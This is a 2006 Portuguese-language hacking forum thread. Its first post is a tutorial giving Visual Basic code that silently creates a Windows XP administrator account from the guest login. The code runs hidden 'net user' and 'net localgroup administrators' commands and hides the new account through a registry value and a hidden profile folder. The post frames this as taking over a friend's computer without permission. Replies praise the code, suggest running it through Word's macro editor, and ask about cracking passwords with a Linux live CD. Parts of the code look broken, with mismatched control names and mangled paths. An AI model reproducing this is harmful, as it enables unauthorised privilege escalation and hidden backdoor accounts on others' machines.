Hackeando uma conta de administrador no WinXP com visual basic

Started by Anonymous, 18 de March , 2006, 08:38:31 AM

Previous topic - Next topic

0 Members and 1 Guest are viewing this topic.

Print
Go Down Pages1 2
User actions

Anonymous

18 de March , 2006, 08:38:31 AM Last Edit: 29 de March , 2006, 08:45:36 PM by Anonymous
Certo vamos la pessoal


Esse tutoreal foi escrito com Visual Basic 6 ,mais acredito que funciona muito bem com o Visual Basic 5

O que iremos fazer é adicionar uma conta de admin no windows usando uma Shell de windows anomima que so podera ser acessada pelo visual basic

Isso e otimo se você so tiver a conta de visitante!

Porque a conta de visitante permite que você execute executaveis,isso vem muito a acalhar!

Imagine isso:Você esta na casa do seu amigo e ele nao quer le dar a conta dele ,você simplismente loga usando a conta de visitante (se estiver ativado: pressione CTRL+ALT+DEL na tela de login e entre com o usuario "Guest")
e execute esse programa e pronto! você e o admin!

Certo vamos ver o script.
Abra o Visual Basic e selecione Standard Exe.
Agora adicione os seguintes controles para o seu formulario:

QuoteColoque no Form:
=======================
-2 Textboxes(Caixas de texto)
-------------
Nome da primeira Caixa de texto : "tUsername"
Segunda Caixa de Texto: "tPass"
-------------
-2 Commandbuttons(Botões de comando)
-------------
Primeiro Botão : "Criar"
Segundo Botâo : "Sair"
=======================

Agora que o Form esta pronto adicione as seguintes declarações:

Code Select
Private Declare Sub Sleep Lib "kernel32" (ByVal dwMilliseconds As Long)
Private Declare Function RegOpenKey Lib "advapi32.dll" Alias "RegOpenKeyA" (ByVal hKey As Long, ByVal lpSubKey As String, phkResult As Long) As Long
Private Declare Function RegSetValueEx Lib "advapi32.dll" Alias "RegSetValueExA" (ByVal hKey As Long, ByVal lpValueName As String, ByVal Reserved As Long, ByVal dwType As Long, lpData As Any, ByVal cbData As Long) As Long
Private Const HKEY_CURRENT_USER = &H80000001
Agora adicione isso no botão "Criar":

Code Select
On Error Resume Next

pass = tPass.Text

usr = tUser.Text

Shell "net user " & usr & " " & pass & " /add", vbHide

Sleep 1000

Shell "net localgroup administrators " & usr & " /add", vbHide

Dim Value As Long

Value = 1

Result = RegOpenKey(HKEY_LOCAL_MACHINE, "SOFTWARENT", keyres)

Result = RegSetValueEx(keyres, usr, 0, 4, Value, Len(Value))

SetAttr "C:Documents and Settings" & usr, vbHidden
Adicione esse codigo a "Sair":

Code Select
End
Otimo agora seu programa esta pronto ,agora so resta deixar ele mais invisivel com alguns scripts.

Grave em um disquete e pronto!

Espero ter resolvido alguns casos de alguams pessoas do darkers que queria burlar umas senhas de admin do XP

Fui!!! 8)

Tradução Wolff123

darknesshack

#1
18 de March , 2006, 01:09:55 PM
Wolff

Parabéns estava prescisando disso ontem foi uma mão da roda Vlw, Bom post!! Abraços! ;D
Para seguir o trajeto,olhe ao mestre,siga o mestre,caminhe com o mestre,veja através do mestre,torne-se o mestre.

Anonymous

#3
18 de March , 2006, 04:11:28 PM
muito bom cara..legal vai ser muito otuil pra muita gente isso....

Anonymous

#4
18 de March , 2006, 07:25:02 PM
Realmente, mandou muito bem, parabéns.

Foi vc que criou esse script? Se foi  cara, parabéns em dobro.

Ah, caso alguém se sinta triste pq não tem o Visual Basic instalado, basta vafer o seguinte: Abra o Microsft Word, segure Atl e aperte F11, ou ainda vá ao menu Ferramentas, na árte Macro clique em Editor Visual Basic. Fácil né? Díficil é achar um PC que não tenha o Microsoft Office instalado.

Podemos ver se fazemos em outras linguagens, ficar mais completo.

lcs

#5
19 de March , 2006, 12:46:44 PM
Isso so funciona se tiver a conta de visitante ativada? e como faz para quebrar a senha através do boot do linux?
Pra que viver sem sentido.

Anonymous

#6
19 de March , 2006, 08:35:18 PM
lcs, você pode fazer assim grave em um cd um livecd da sua escolha pode ser por exemplo o kurumin.
Ai você vai no bios coloca pra começar com o cd(da uma procurada no forum ja foi falado sobre isso).

Anonymous

#7
20 de March , 2006, 11:04:19 AM
Aew show de bola... fiz aki no Editor VB do word... 100%.. agora vo fazer em VB em casa pra gerar o executavel hehe parabéns

Kratos

#8
20 de March , 2006, 11:04:59 AM
Muito bom.... parabens!!!

Vou testar e se funfar vai ser muito util pra mim!!!

Parabens
::: "A vida é bela pra quem sabe curtir" :::




Anonymous

#9
24 de March , 2006, 09:26:35 AM
nossa...manero
agora c tivesse um p windows 2000 ia ser perfeito p mim
=p

Fox

#10
24 de March , 2006, 01:55:22 PM
liozin...ja testou no win2000?

Cloudy

#11
24 de March , 2006, 02:08:40 PM
Eu acho bem provável que funcione. Tenta aí, e nos diz se conseguiu.

...by Cloudy
"You have to be trusted by the people tou lied to, so when they turn their back on you, you have the chance to the put the knife in." (Roger Waters)

...by Cloudy

Anonymous

#12
29 de March , 2006, 11:22:30 AM
Excelente tópico!!!
Meus parabéns Wolff!!!
um abraço!

whit3_sh4rk

#13
29 de March , 2006, 07:38:27 PM
Bem interessante.. mas alguém aí realmente tentou pra ver se dá certo?
Eh que ouvi comentários de que não estava funcionando corretamente...

[Wolf123]
Obs: Esqueceu da fonte cara - http://www.hackthissite.org/articles/read/348

[]s

Anonymous

#14
29 de March , 2006, 08:44:22 PM
Estou codando em delphi q e so clicar o bota e ele se coloca automaticamente no disquete.
Print
Go Up Pages1 2
User actions